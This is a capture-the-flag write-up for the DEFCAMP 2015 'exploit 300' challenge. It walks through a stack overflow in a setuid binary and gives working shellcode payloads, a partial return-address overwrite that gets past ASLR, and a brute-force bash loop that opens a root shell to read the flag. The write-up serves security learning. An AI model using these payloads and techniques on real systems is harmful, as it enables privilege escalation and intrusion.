WRITEUP – DEFCAMP2015 – exploit 300

This challenge did not provide the binary right away, we had to connect to an ssh-server with the binary. In the hints was stated that we have to do a cat /flag with the appropriate rights to get the flag. The binary has the s-bit set so if we can exploit it we can read the flag with the correct rights. So we downloaded the file using scp and looked at it:

e300: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=37c037c1222876fba323db6d5cef3718cba9cbc1, stripped

When running the file it asks for a number and something:

$ ./e300
./e300 <number> <something>

If we provide a number and something, it sometimes does nothing and sometimes it says "Should have been : 3" for example. So there is some kind of random number which has to be guessed. After some playing with the executable this number seems to be between 0 and 4.

After some investigation with the disassembly of the programm it gets clear that "something" will be copied unsecurely in a separate function using memcpy. This functions decompile looks like this:

sub_9EF(const char *a1)
{
  size_t v1; // rax@1
  char dest; // [sp+10h] [bp-130h]@1

  v1 = strlen(a1);
  return memcpy(&dest, a1, v1);
}

So if we guess correctly we can perform a buffer overflow since v1 is on the stack to control for example the return address.

For easier debugging purposes in gdb. We use LD_PRELOAD to replace the rand-function with a function of our own choosing.

// gcc -shared -fPIC -o overwrite.so ./overwrite.c

int rand() {
    return 0;
}

If we now do a set environment LD_PRELOAD=./overwrite.so in gdb the function rand always returns 0 and we do not have to run the program multiple times just to test our exploit.

The next step now is to write an exploit for this program to pop a shell. For this we need to get the control of the RIP. So we find the ret-instruction of the sub_9EF in memory in gdb and break there. Then we run the program with a huge amount of e.g. 'A' chars to get a feeling for the buffer. Then we use a pattern (we used https://github.com/Svenito/exploit-pattern) to find the exact offset when we overwrite the RIP. Now controlling RIP we could look on the stack where our buffer begins, build a nop slide which runs into some short shellcode to run /bin/sh. This was the first try:

$(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x9c\xdd\xff\xff\xff\x7f'")

So we first have some NOP instructions, then the shellcode, then again some nops to fill the buffer and then the address on the stack we want to jump to. Luckily, the stack is executable and there are no canaries to stop us from smashing the stack. This exploit works in gdb because ASLR gets disabled. It even works when disabling ASLR on my ubuntu machine. Testing the exploit on the target machine did however not work because ASLR was enabled. So it is not that easy to exploit it. ASLR has to be defeated for this exploit to work.

After some researching and thinking how to bypass ASLR we noticed that some registers at the end of the vulnerable function point to the nop-slide on the stack. With a quick

$ objdump -D -M intel e300 | grep "jmp.*rax"
 91a:   ff e0                   jmp    rax

we found an instruction to jump directly to rax in a ROP-like fashion. This address of this instruction is however also randomized so we cannot know the exact location in advance.

After some more researching we found a technique called "partial RIP overwrite". The idea is that we do not overwrite the complete RIP because then we have to guess a large portion of it. We just overwrite a little part of it to jump correctly. The addresses with ASLR on x64 typically look like this:

   hardcoded | random offset | Offset in ELF
0x 00007f      XXXXXXX         91a

Normally, the complete random offset must be guessed. But with partial RIP overwrite it looks like this:

Return Address
   Random stuff  | 2 Byte we overwrite
0x 00007fXXXXXX    X91a

So we just overwrite the last 2 bytes with X91A. 91A is the offset of the jmp rax function and X can be any number we want because we have to guess this. But now we only guess 1 nibble instead of 7 bytes. With this information we build a new exploit which looks like this:

NOP SLIDE + SHELLCODE + NOP SLIDE + \x1A\x49
$(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x1a\x49'")

Since we have to guess the correct number in real life and we have to guess the correct nibble we have to execute the exploit multiple times on the target machine. We can do this with a little bash script:

#!/bin/bash

while :
do
./e300 0 $(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x1a\x49'")
done

When running this script on the target machine a shell pops up after some seconds:

$ cat /flag
DCTF{2621204f73c01a1cbc995b24a57106ad}